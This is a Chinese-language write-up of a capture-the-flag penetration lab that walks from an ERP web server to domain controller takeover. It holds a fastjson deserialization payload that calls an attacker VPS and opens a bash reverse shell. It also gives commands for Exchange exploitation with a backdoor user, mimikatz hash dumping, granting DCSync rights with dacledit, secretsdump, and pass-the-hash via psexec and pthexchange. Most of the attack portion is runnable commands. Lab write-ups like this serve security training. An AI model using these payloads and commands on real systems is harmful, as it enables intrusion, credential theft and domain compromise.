共计 2776 个字符,预计需要花费 7 分钟才能阅读完成。
工具:
https://github.com/dushixiang/evil-mysql-server 打反序列化
https://github.com/su18/ysoserial 老牌反序列化工具
https://github.com/fortra/impacket/releases/tag/impacket_0_13_0 域渗透工具
https://github.com/herwonowr/exprolog/blob/main/exprolog.py exchange渗透工具
https://github.com/Jumbo-WJB/PTH_Exchange exchange邮件提取工具
fscan,mimikatz,vshell
渗透路径:
华夏ERP的fastjson反序列化漏洞(flag01)–>exchangeCVE利用(flag02)–>获取邮件得到flag03–>用户hash提取提升权限–>dcsync获取管理员hash–>哈希传递拿下域控(flag04)
外网打点
扫描一下端口发现开放22,80,8000三个端口。其中22是ssh,80是静态web服务,8000是华夏erp。那么下一步肯定是打8000端口

ERP存在一个弱口令admin/123456

进入到后台后知道华夏erp曾存在一个fastjson反序列化漏洞,这里我们跟着WP复现
https://blog.csdn.net/qq_42077227/article/details/130236560
先用dnslog探测

再使用ysoserial和mysql打组合拳进行反弹shell
下载地址:
https://github.com/dushixiang/evil-mysql-server
https://github.com/su18/ysoserial
监听端口

./evil-mysql-server -addr port -java java -ysoserial ysoserial-all.jar
然后传参
{
"name": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "vpsIP地址",
"portToConnectTo": 3306,
"info": {
"user": "yso_CommonsCollections6_bash -c {echo,base64编码后的命令}|{base64,-d}|{bash,-i}",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
}
}

获取到了一个初步的shell

在用yso的时候值得注意的是要求的Java版本是Java8,不然反序列化报错
由于是root权限直接拿flag就行

然后就是我们熟悉的fscan内网大保健了

可以看到存在一个exchange邮箱服务
题目都叫exchange了,肯定后面是要打exchange的
我们先弄个内网代理
虽然说可以挂个frp或者stoaway等搭建内网代理,但是用vshell我觉得更方便。
顺便还可以提升shell交互性

建立隧道代理后我们简单分析一下内网结构
172.22.3.12 已经拿下的web服务器
172.22.3.9 exchange服务器 XIAORANG-EXC01
172.22.3.2 XIAORANG-WIN16
172.22.3.26 DC:XIAORANG-WIN16.xiaorang.lab
exchange漏洞老多了
看看有啥漏洞

使用exprolog绕过认证获得shell,然后添加后门用户

记得加上proxychains
然后远程桌面

是本地管理员权限,直接拿到flag

然后就是我们熟悉的mimikatz抓hash
里面主要有用的是
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* NTLM : 88f4cf50b8ecdb0cf5bfe4e24768c3e1
* SHA1 : c6f3c7b125491ffad07945f560d1ce8bb1e334dc
* Username : Zhangtong
* Domain : XIAORANG
* NTLM : 22c7f81993e96ac83ac2f3f1903de8b4
* SHA1 : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e 、
* DPAPI : ed14c3c4ef895b1d11b04fb4e56bb83b
exchange机器账户隶属于Exchange Windows Permissions这个组中,而这个组具有write 域内acl权限,所以可以设置刚刚通过mimikatz拿到的域内用户Zhangtong的dcsync属性。
proxychains python dacledit.py xiaorang.lab/XIAORANG-EXC01$ -hashes :a6b6d1b9ec4507fa352d2641c772da87 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2
然后就是经典的dcsync拿域管理员hash了
proxychains python secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc

然后就是passhash了,拿下另一台win机子
proxychains4 python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7acbc09a6c0efd81bfa7d5a1d4238beb ./Administrator@172.22.3.2

拿到flag

还剩一个flag在邮箱里面,使用pthexchange
proxychains4 python3 pthexchange.py --target https://172.22.3.9/ --username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' --action Download
拿下邮箱里面的压缩包文件,然后使用电话爆破密码(因为邮件里面说了压缩包密码是手机号)

拿下flag
